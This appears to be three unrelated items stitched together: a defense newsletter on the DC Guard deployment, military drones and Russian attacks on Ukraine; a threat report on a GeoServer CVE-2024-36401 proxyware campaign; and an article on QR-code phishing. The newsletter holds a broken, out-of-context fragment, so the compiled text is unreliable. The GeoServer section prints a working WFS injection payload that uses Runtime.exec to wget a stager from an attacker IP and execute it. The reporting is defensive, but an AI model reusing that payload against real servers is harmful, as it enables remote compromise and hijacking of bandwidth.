  • During a Wednesday photo op, protesters booed Pentagon chief Pete Hegseth, Vice President JD Vance, and White House deputy chief of staff Stephen Miller as they met with National Guard troops in Washington, D.C.’s Union Station. 

    The protesters shouted “Free DC!” as the men tried to speak to cameras, with Vance boasting, “A lot has changed in the past seven days,” or since President Trump ordered a flood of troops and federal agents into the city after citing false and exaggerated crime statistics. “You guys are doing a hell of a job. I'm proud of you and we're grateful,” Vance told the soldiers as the protests continued. 

    “We’re going to ignore these stupid white hippies who all need to go home and take a nap because they’re over 90 years old,” Miller told the cameras while standing beside Hegseth and Vance at a Shake Shack. He also called the demonstrators “crazy communists” and claimed—without evidence, and despite scenes like this in the Columbia Heights neighborhood on Tuesday—they have “no roots” in Washington, which Miller said is “one of the most violent cities on planet Earth.” And: “By the way,” he added, “most of the citizens who live in D.C. are Black. This is not a city that has had any safety for its Black citizens for generations.” 

    Update: 61% of DC residents say they feel less safe with Trump’s military occupation and federal takeover of the nation’s capital, according to a new Washington Post-Schar School poll. 79% of DC residents surveyed say they oppose Trump’s takeover, while only 17% say they support it. 

    There are better ways to improve things, residents suggested. Those include “increased economic opportunities in poor neighborhoods (with 77% support), stricter national gun laws (70%), an increased number of Metropolitan Police officers patrolling communities (63%) and using outreach workers to resolve disputes (57%),” CNN reports off the new poll.

    Panning out, Trump’s DC takeover “Looks a Lot Like an Immigration Raid,” the Wall Street Journal reported Wednesday. “In practice, the most visible impact of Trump’s federal takeover has been the immigration-enforcement effort in [select neighborhoods] including Mount Pleasant,” as illustrated in this video taken Friday and posted online by Immigration and Customs Enforcement. “We're taking America back, baby,” one of the masked men said as his crew tore down an anti-ICE banner. (His remark arguably begs the questions “back” from whom, and who is “we”?) 

    Trump’s federal agents “have pulled delivery drivers off mopeds, arrested construction workers and demanded proof of legal status from vendors selling mangos and watermelons,” the Journal reports. “Vehicle checkpoints have sprung up nightly, and ICE vans have parked outside daycare centers and churches that tend to employ immigrants.”

    Around the Defense Department

    A new attack drone team is defining UAV warfare for the Marines. In January, the Marine Corps stood up a 12-person Attack Drone Team to be its point outfit for developing tactics, techniques and procedures for the armed first-person viewer drones that are increasingly fielded to its infantry units. Defense One’s Meghann Myers talked with the commander of Weapons Training Battalion, the team’s parent unit. Read her report, here.

    Meanwhile, the Air Force is asking companies to build ‘exact replicas’ of the Shahed-136 drone to help develop defenses against the Iranian-designed, Russian-built weapon, Defense One’s Audrey Decker reports.

    And the Navy? Here’s a Wednesday headline from Reuters: “The US Navy is building a drone fleet to take on China. It's not going well.”

Things are going to get delayed. We’re in both places,” said one defense official who asked for anonymity to speak freely. Defense One’s Patrick Tucker explains what Advana is, why more than 70,000 defense employees were using it, and how badly needed improvements to keep it working have been brought to a halt.

    Russia’s war on Ukraine 

    Russia launched more than 600 drones and missiles at Ukraine overnight in what the Associated Press reports was “one of its biggest aerial attacks on Ukraine of the year.” 

    At least one person was killed in western Lviv and three others were injured when the attacks struck more than two dozen residential buildings, a kindergarten and administrative buildings, Ukrainian officials said. “A U.S. electronics plant near the Hungarian border was also struck,” AP reports, describing it as “one of the biggest American investments in Ukraine.”

    “Several cruise missiles were lobbed against an American-owned enterprise in Zakarpattia,” President Volodymir Zelenskyy noted on social media Thursday. “It was a regular civilian business, supported by American investment, producing everyday items like coffee machines. And yet, it was also a target for the Russians.” 

    “The Russians carried out this attack as if nothing has changed at all, as if there are no global efforts to stop this war,” Zelenskyy said, and emphasized despite Trump’s meeting with Vladimir Putin on Friday, “There is still no signal from Moscow that they truly intend to engage in substantive negotiations and end this war.”

    NATO diplomats are newly worried because, as one said, it appears “The U.S. is not fully committed to anything,” Politico reported Wednesday after talks between U.S. European allies this week regarding a potential post-war Ukraine. The talks involved Elbridge Colby, the Pentagon's undersecretary for policy, and Joint Chiefs chair Gen. Dan Caine. “The main takeaway is [a peace deal is] is not moving very quickly,” one European official told Politico.

  • A stealthy campaign emerged in early March 2025 that capitalized on a critical remote code execution flaw in GeoServer (CVE-2024-36401) to compromise publicly exposed geospatial servers.

    Attackers exploited JXPath query injection within Apache Commons libraries, allowing arbitrary code execution through crafted XML requests.

    This vector enabled the silent deployment of customized executables that leveraged legitimate passive-income software development kits (SDKs) and applications, effectively turning victim networks into illicit proxy farms.

    Within days of the initial wave, Palo Alto Networks analysts noted a significant surge in probing activity against vulnerable GeoServer instances.

    Cortex Xpanse telemetry revealed over 3,700 publicly accessible servers in the first week of May 2025 alone, underscoring the vast attack surface available to threat actors.

    These adversaries moved quickly to evade detection, rotating distribution IPs from 37.187.74[.]75 to 185.246.84[.]189 and expanding backend infrastructure to include a transfer.sh-style file-sharing service on port 8080.

    The monetization strategy behind this campaign favored long-term stealth over rapid resource consumption.

    Rather than deploying noisy cryptocurrency miners, attackers delivered two core payloads: a misused SDK that silently aggregated bandwidth-sharing sessions across infected hosts, and a misused application that created hidden directories and launched executables with minimal resource footprints.

    Both payloads mimicked legitimate passive-income services, making them difficult to detect through signature-based defenses.

    Victims remained unaware as their machines quietly forwarded web traffic or participated in residential proxy networks.

    By integrating genuine Dart-compiled binaries, the attackers exploited cross-platform capabilities to target Linux servers and bypass detection signatures tuned for more common malware languages.

    Indicators of compromise included connections to hxxp://37.187.74[.]75:8080 and hxxp://64.226.112[.]52:8080, where stage-one scripts such as z593 fetched additional stagers.

    Infection Mechanism Deep Dive

    One of the most insidious aspects of this campaign lies in its exploitation of JXPath’s extension functions.

    Upon receiving a crafted GetPropertyValue request, GeoServer’s property accessor mechanism passed an attacker-controlled expression into the iteratePointers method.

    This payload then invoked the javax.lang.Runtime.exec function, triggering remote command execution.

    A snippet illustrating this injection follows:

    <ogc:GetPropertyValue service="WFS" version="1.1.0" xmlns:ogc="http://www.opengis.net/ogc">
      <ogc:ValueReference><![CDATA[
        Runtime.exec("wget http://185.246.84.189:8080/z593 -O /tmp/z593; chmod +x /tmp/z593; /tmp/z593"
      )]]></ogc:ValueReference>
    </ogc:GetPropertyValue>

    Upon successful execution, z593 acted as a stager, creating a hidden folder under /var/tmp/.cache and fetching two additional payloads: z401, which established the execution environment, and z402, which launched the main executable with an embedded SDK key.

    By chaining these stages, the attackers achieved persistence and ensured that bandwidth-sharing processes resumed automatically on reboot.

    Through this meticulous, multi-stage approach, threat actors have demonstrated how leveraging legitimate SDKs and file-sharing services can facilitate undetected monetization of network resources.

    Security teams are urged to apply GeoServer patches immediately, monitor outbound connections to known malicious IPs, and deploy behavioral analytics capable of identifying anomalous JXPath queries to thwart similar campaigns.

  • Cybersecurity researchers have observed a surge in phishing campaigns leveraging QR codes to deliver malicious payloads.

    This emerging threat, often dubbed “quishing,” exploits the opaque nature of QR codes to conceal harmful URLs that redirect victims to credential-harvesting sites or malware downloads.

    Unlike traditional phishing links that can be flagged by email gateways, QR codes require a visual scan by the end user—typically on a mobile device—circumventing desktop security controls and expanding the attacker’s window of opportunity.

    The earliest instances appeared in generic mass-email blasts posing as routine account notifications from well-known service providers.

    However, attackers have rapidly refined their tactics, tailoring messages to specific targets and embedding QR codes within seemingly innocuous images.

    In one campaign, a threat actor impersonated a leading cloud storage provider, prompting recipients to “scan to verify account activity.”

    Upon scanning, the QR code resolved to a fake login portal meticulously crafted to mirror the legitimate site’s HTML and JavaScript.

    Barracuda analysts noted this initial wave of quishing attacks relied heavily on social engineering rather than technical sophistication.

    As defenders began to recognize and block simple QR code attacks, adversaries escalated their techniques.

    Split QR codes emerged as a stealthier method, dividing a single code into two separate image fragments that appear benign when viewed independently.

    Split QR Code Example (Source – Barracuda)

    Email scanners inspecting image attachments typically miss two partial images, yet when rendered in an HTML email they recombine visually into a scannable QR pattern. Victims who scan the composite code are redirected to sites designed to harvest credentials or deploy secondary payloads.

    Detection Evasion Through Nested QR Codes

    Beyond splitting, the latest quishing kits employ nested QR codes to further obfuscate malicious links.

    A nested code consists of an inner, benign QR pointing to a harmless URL (e.g., Google), surrounded by an outer code directing to a phishing domain.

    This dual-layer approach generates ambiguous decoding results: standard QR readers often default to the inner code, while more sophisticated decoders can extract the outer payload.

    Attackers exploit this ambiguity to bypass QR analysis tools that lack the ability to interpret multiple layers within a single frame.

    Nested QR Code Example (Source – Barracuda)

    To illustrate, the following Python snippet uses the pyzbar library to decode layered QR images and highlight both payloads:-

    from PIL import Image  
    from pyzbar.pyzbar import decode  
    
    img = Image.open('nested_qr_code.png')  
    results = decode(img)  
    for res in results:  
        print(f'Data: {res.data.decode()}, Type: {res.type}')  

    Defenders must adopt multimodal AI solutions capable of rendering images, isolating pixel patterns, and performing sandboxed link execution.

    As organizations bolster spam filters and enforce multi-factor authentication, attackers will undoubtedly continue to innovate. Vigilance, layered defenses, and user training remain critical to counteract this evolving quishing threat.
